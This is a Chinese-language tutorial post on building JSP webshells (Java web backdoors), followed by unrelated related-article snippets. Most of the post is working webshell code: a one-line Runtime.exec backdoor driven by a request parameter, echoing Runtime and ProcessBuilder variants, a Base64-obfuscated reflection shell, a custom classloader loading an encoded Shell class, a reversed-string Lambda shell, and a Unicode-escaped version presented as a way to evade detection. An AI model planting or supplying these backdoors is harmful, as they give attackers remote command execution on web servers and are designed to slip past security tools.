JavaWeb后门(webshell)基础

0x00 基础

JSP

JSP全称为JavaServer Pages,是一种用于开发支持动态内容的Web页面的技术。它有助于开发人员通过使用特殊的JSP标记在HTML页面中插入Java代码,其中大多数以<%开头,以%>结尾。Java是一种通用的计算机编程语言,它是并发的,基于类的,面向对象的,并且专门设计为具有尽可能少的实现依赖性。而JSP是一种技术,可帮助软件开发人员基于HTML,XML或其他文档类型创建动态生成的Web页面。

image-20231225163806708

JSPX

jspx其实就是xml格式的jsp文件

jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。
jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式

Java Web 后门

Java Web 是很多大型厂商的选择,也正是因为如此,Java Web 的安全问题日益得到重视,JSP Webshell 就是其中之一。最著名的莫过于 PHP 的各种奇思妙想的后门,但与 PHP 不同的是,Java 是强类型语言,语言特性较为严格,不能够像 PHP 那 样利用字符串组合当作系统函数使用,但即便如此,随着安全人员的进一步研究, 依旧出现了很多奇思妙想的 JSP Webshell。下面我们将通过几种不同的 JSP Webshell 来简单讲解 Java Web 后门

0x01 函数调用

与 PHP 中的命令执行函数 system() 和 eval() 类似,Java 中也存在命令执行函 数,其中使用最频繁的是 java.lang.Runtime.exec() 和 java.lang.ProcessBuilder.start(), 通过调用这两个函数,可以编写简单的 Java Web 后门。

直接调用

无回显:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

有回显:

java.lang.Runtime.exec()

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>

<%

// 获取Runtime对象
Runtime runtime = Runtime.getRuntime();

// 执行系统命令
Process process = runtime.exec("whoami");
//Process process = runtime.exec(request.getParameter("cmd"));

// 获取进程的输入流,并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

// 读取命令的输出
String line;
while ((line = reader.readLine()) != null) {
    out.println(line + "<br>");
}

%>

java.lang.ProcessBuilder.start()

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>

<%
    try {
        // 创建一个ProcessBuilder对象,并设置要执行的命令
        ProcessBuilder processBuilder = new ProcessBuilder("whoami");
        //ProcessBuilder processBuilder = new ProcessBuilder("whoami","/priv");

        // 启动进程
        Process process = processBuilder.start();

        // 获取进程的输入流,并将其转换为BufferedReader
        InputStream inputStream = process.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

        // 读取命令的输出
        String line;
        while ((line = reader.readLine()) != null) {
            out.println(line + "<br>");
        }

        // 等待命令执行完成
        int exitCode = process.waitFor();
        //out.println("命令执行完成,退出码:" + exitCode);
    } catch (IOException | InterruptedException e) {
        e.printStackTrace();
    }
%>

反射调用

不直接使用类名调用方法的方式去构造后门, 而是采用动态加载的方式,把所要调用的类与函数放到一个字符串的位置,然后利用各种变形(此处利用的是 Base64 编码)来达到对恶意类或函数隐藏的目的:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));

Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);

Object object = method.invoke(runtimeMethod.invoke(null),cmd);

// 执行系统命令
Process process = (Process) object;

// 获取进程的输入流,并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

// 读取命令的输出
String line;
while ((line = reader.readLine()) != null) {
    out.println(line + "<br>");
}
%>
字节码

由于反射可以直接调用各种私有类方法,导致了利用反射编写的后门层出不穷,其中最有代表性的就是通过加载字节码编写的后门,这种后门使服务端动态地将字节码解析成 Class,这样一来就可以达到“一句话木马”的效果

javac字节码生成:

这种方式简单的说就是用ideal将java文件编程成class文件,然后将class读取出来用base64编码即可,这种方式比较方便简单,不需要会使用ASM,javassist等字节码框架。

shell.java:

package com.demo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell {

    public static String runs(String cmd) throws IOException {
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream is = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
        String r = "";
        String s = "";
        while((r = bufferedReader.readLine())!=null){
            s += r;
        }
        return s;
    }

}

shell.class --> base64编码

package com.demo;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;

public class Demo {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        FileChannel fileChannel = null;
        FileInputStream in = null;

        in = new FileInputStream("C:\\java\\com\\demo\\Shell.class");
        fileChannel = in.getChannel();
        ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());

        while (fileChannel.read(buffer) > 0) {
        }

        System.out.println(new String(Base64.getEncoder().encode(buffer.array())));

    }
}

自定义classloader:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
  Method defineClass =
          ClassLoader.class.getDeclaredMethod("defineClass", String.class,
                  byte[].class, int.class, int.class);
  defineClass.setAccessible(true);

  byte[] bytes =  Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");

  Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);
  Object invoke = dm.invoke(object, "calc");
%>

更多加载字节码的方式参考:

https://tttang.com/archive/1739/

0x02 JDK特性

JDK 全称为 Java Development Kit,是 Java 开发环境。我们通常所说的 JDK 指 的是 Java SE (Standard Edition) Development Kit。除此之外还有 Java EE(Enterprise Edition)和 Java ME(Micro Edition)。从 JDK 诞生至今,每个版本都有不同的特性, 利用这些特性可以编写出不同类型的 Java Web 后门。

这里展示利用 Lambda 表达式编写的 JSP 一句话木马。

Lambda表达式是Java 8引入的一种函数式编程特性。它提供了一种更简洁、更灵活的方式来编写匿名函数。

Lambda 允许把函数作为一个方法的参数(函数作为参数传递进方法中)。利用这个特性我们可以操作类名,从而达到躲避检测的目的。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.function.Function" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.stream.Collectors" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Collections" %>
<%@ page import="java.util.ArrayList" %>

<html>
<head>
 <title>Title</title>
</head>
<body>
<%
 // 定义一个字符串数组,其中包含一个元素 "redliuBssecorP.gnal.avaj"
 String[] planets = new String[] { "redliuBssecorP.gnal.avaj" };
 
 // 使用Java 8的流式编程方式将字符串数组中的元素进行反转
 Arrays.asList(planets).replaceAll(s -> new StringBuilder(s).reverse().toString());
 
 // 将字符串数组转换为字符串,并去除其中的方括号 '[' 和 ']'
 String name = Arrays.toString(planets).replace("[","").replace("]","");
 
 // 定义两个字符串变量,一个是 "start",另一个是通过请求参数获取到的 "pw" 值
 String st = "start";
 String pw = request.getParameter("pw");
 
 // 使用反射获取 Class 对象,该对象对应于指定的类名(name变量)
 Class cls = Class.forName(name);
 
 // 使用反射创建一个对象,调用该类的构造方法,并传入一个 List 对象作为参数
 Object obj = cls.getConstructor(List.class).newInstance(Arrays.asList(pw));
 
 // 使用反射获取指定方法名(st变量)对应的 Method 对象
 Method startCmd = cls.getMethod(st);
 
 // 使用反射调用方法,传入创建的对象作为调用者,并获取返回的结果
 Process process = (Process)startCmd.invoke(obj);
 
 // 获取进程的输入流,并将其转换为BufferedReader
 InputStream inputStream = process.getInputStream();
 BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
 
 // 在页面上打印输出结果的起始标签
 out.print("<pre>");
 
 // 逐行读取命令的输出,并将每一行输出到页面上
 String line;
 while ((line = reader.readLine()) != null) {
    out.println(line + "<br>");
 }
 
 // 在页面上打印输出结果的结束标签
 out.print("</pre>");
%>

运行环境需要java 8 + tomcat9 以上的版本

0x03 编码

jsp支持unicode编码

将代码(除page以及标签)进行unicode编码,并添加到<%%>标签中,即可执行webshell

在线unicode编码转换:
https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

注意用此在线unicode编码后内容会存在 /ua ,需要手动删除,负责无法正常运行

image-20231225190424901

注意这里的\uuuu00可以换成\uuuu00uuu…可以跟多个u达到绕过的效果

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>

<%
  \uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>

学习更多

java免杀合集:

https://tttang.com/archive/1739/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/269880.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

浙江大唐乌沙山电厂选择ZStack Cloud打造新一代云基础设施

浙江大唐乌沙山电厂选择云轴科技ZStack Cloud云平台为其提供高性能、高可用的云主机、云存储和云网络&#xff0c;构建了简单、稳定、安全、高效的云基础设施&#xff1b;通过ZStackCloud为其提供可视化服务编排、多租户自服务等模块&#xff0c;帮助电厂提高IT资源利用率&…

新版IDEA中Git的使用(三)

说明&#xff1a;前面介绍了在新版IDEA中Git的基本操作、分支操作&#xff0c;本文介绍一下在新版IDEA中&#xff0c;如何回滚代码&#xff1b; 分以下三个阶段来介绍&#xff1a; 未Commit的文件&#xff1b; 已经Commit&#xff0c;但未push的文件&#xff1b; 已经push的…

国内前十大连锁酒店集团之一『东呈集团』商城项目启动,企企通赋能酒店管理集团采购数字化

近日&#xff0c;国内酒店管理集团的领军企业——广西东呈酒店管理集团股份有限公司&#xff08;以下简称“东呈集团”&#xff09;与企企通合作的采购供应链商城项目启动会成功举办。东呈集团与企企通双方高层、项目负责人、团队成员出席此次启动会。 01、国内领先的酒店管理集…

如何将本地websocket发布至公网并实现远程访问服务端

文章目录 1. Java 服务端demo环境2. 在pom文件引入第三包封装的netty框架maven坐标3. 创建服务端,以接口模式调用,方便外部调用4. 启动服务,出现以下信息表示启动成功,暴露端口默认99995. 创建隧道映射内网端口6. 查看状态->在线隧道,复制所创建隧道的公网地址加端口号7. 以…

IDEA的JavaWeb项目的webapp目录的小蓝点没亮怎么办???

我们可以看到没有小蓝点&#xff0c;正常的是有的。 没有小蓝点的原因&#xff1a;你的webapp 这个文件夹的路径不对。 解决方案&#xff1a;&#xff08;修改webapp的路径&#xff09; 我们可以看到&#xff0c;错误的路径是显示红色。 这个地方没有就添加一个路径&#xff0…

线性渐变知识点和例子

<!DOCTYPE html> <html><head><meta charset"UTF-8"><title>盒子阴影</title><style>.box{width:200px;height:200px;border:1px solid black;float:left;}#box1{/*默认从上到下渐变*/background-image:linear-gradient(c…

锐捷配置DHCP动态分配地址

一、实验拓扑 二、实验目的 配置DHCP为四个部门动态分配IP地址 三、实验配置 第一步&#xff1a;配置基本IP地址并对端口进行规划 SW1 SW1(config)#vlan range 10,20,30,40,100 SW1(config-vlan-range)#exit SW1(config)#interface vlan 10 SW1(config-if-VLAN 10)#ip addres…

如何使用内网穿透工具实现Java远程连接本地Elasticsearch搜索分析引擎

文章目录 前言1. Windows 安装 Cpolar2. 创建Elasticsearch公网连接地址3. 远程连接Elasticsearch4. 设置固定二级子域名 前言 简单几步,结合Cpolar 内网穿透工具实现Java 远程连接操作本地分布式搜索和数据分析引擎Elasticsearch。 Cpolar内网穿透提供了更高的安全性和隐私保…

[2023-年度总结]凡是过往,皆为序章

原创/朱季谦 2023年12月初&#xff0c;傍晚&#xff0c;在深圳的小南山看了一场落日。 那晚我们坐在山顶的草地上&#xff0c;拍下了这张照片——仿佛在秋天的枝头上&#xff0c;结出一颗红透的夕阳。 这一天很快就会随着夜幕的降临&#xff0c;化作记忆的碎片&#xff0c;然…

实战 9 权限菜单管理

目录 1、权限菜单后端接口 2、查询权限菜单列表 2.1 设计效果图 2.2 menuList.vue 3、 新增权限菜单 3.1 新增权限菜单窗口代码 3.2 选择所属菜单代码 3.3 封装图标选择器 3.4 新增、编辑和删除权限菜单 1、权限菜单后端接口 package com.cizhu.service;import com.ci…

使用 FFmpeg 清除文件夹下所有 .mp4 文件声音

运行以下命令来清除声音&#xff1a; ffmpeg -i input.mp4 -c copy -an output.mp4这个命令会将 “input.mp4” 替换为你要处理的 .mp4 文件名。它会生成一个新的文件名为 “output.mp4” 的文件&#xff0c;该文件是没有声音的副本。 如果你想要直接替换原始文件&#xff0c;…

【shell脚本实战学习笔记】#1

shell脚本实战学习笔记#1 脚本编写场景需求&#xff1a; 编写一个比较数据大小的shell脚本&#xff0c;要求判断用户只能输入两位数字&#xff0c;不能是字符或其他特殊字符&#xff1b;并且在shell脚本中需要用到函数来控制执行顺序。 知识点&#xff1a;shell函数&#xff…

数字乡村智慧农业云平台建设方案:PPT全文30页,附下载

关键词&#xff1a;数字乡村解决方那&#xff0c;智慧农业解决方案&#xff0c;智慧农业建设&#xff0c;数字乡村平台&#xff0c;智慧农业大数据平台&#xff0c;智慧农业项目建设规划 一、对“互联网农业”的理解 “互联网农业”是指将互联网技术与农业生产、加工、销售等…

Elasticsearch可视化平台Kibana [ES系列] - 第498篇

历史文章&#xff08;文章累计490&#xff09; 《国内最全的Spring Boot系列之一》 《国内最全的Spring Boot系列之二》 《国内最全的Spring Boot系列之三》 《国内最全的Spring Boot系列之四》 《国内最全的Spring Boot系列之五》 《国内最全的Spring Boot系列之六》 全…

串口服务器助力环境监测系统高效管理、远程监控

物联网的发展使得环境监测系统具备了更强大的数据采集和分析能力。传统的环境监测系统通常需要人工到现场采集数据&#xff0c;费时费力且容易受到外界干扰。而通过使用串口服务器&#xff0c;可以实现环境监测系统的远程数据采集和监控&#xff0c;从而提高监测效率和数据准确…

雷盛红酒分享葡萄酒在冬天如何运输和保存

这两天&#xff0c;强大的寒潮从西向东横扫我国大部地区。我国北方地区未来几天气温持续偏低&#xff0c;冷上加冷&#xff1b;南方的降温大幕今天也将开启&#xff0c;江南、华南部分地区将出现6~12℃的降温。如此寒冷的冬天&#xff0c;对葡萄酒来说&#xff0c;并不是什么好…

Vue实现响应式布局

前提准备&#xff1a;响应式布局有两种方法&#xff0c;看自己想要哪种。 方法一&#xff1a;百分比 用百分比去写元素的宽度&#xff0c;然后让子元素撑起父元素的高度 .parent {width: 50%; }.child {width:100%;height:100px; } 方法二&#xff1a;vh、vw vw、vh是基于视…

【excel密码】Excel工作表不能复制或移动

为什么excel文件打开之后&#xff0c;工作表里是可以编辑的&#xff0c;但是想要移动工作表或者复制、重命名等操作&#xff0c;这是什么原因&#xff1f;其实这是因为设置了工作簿保护&#xff0c;设置了保护的工作簿无法对整张工作表进行操作。 想要取消这种保护&#xff0c;…

MongoDB查询文档

3.5 MongoDB 查询文档 MongoDB 查询文档使用 find() 方法。 find() 方法以非结构化的方式来显示所有文档。find()查询数据的语法格式如下&#xff1a; db.collection.find(query, projection)[.pretty()] query &#xff1a;可选&#xff0c;使用查询操作符指定查询条件 pr…

AI Earth平台简介

AI Earth地球科学云平台由达摩院-视觉技术实验室打造&#xff0c;基于地球科学智能计算分析方面的创新研究&#xff0c;致力于解决地球科学领域基础性、前沿性、业务性问题&#xff0c;目标成为国内一流的地球科学云计算平台。&#xff08;摘自官网&#xff09; 下面&#xff…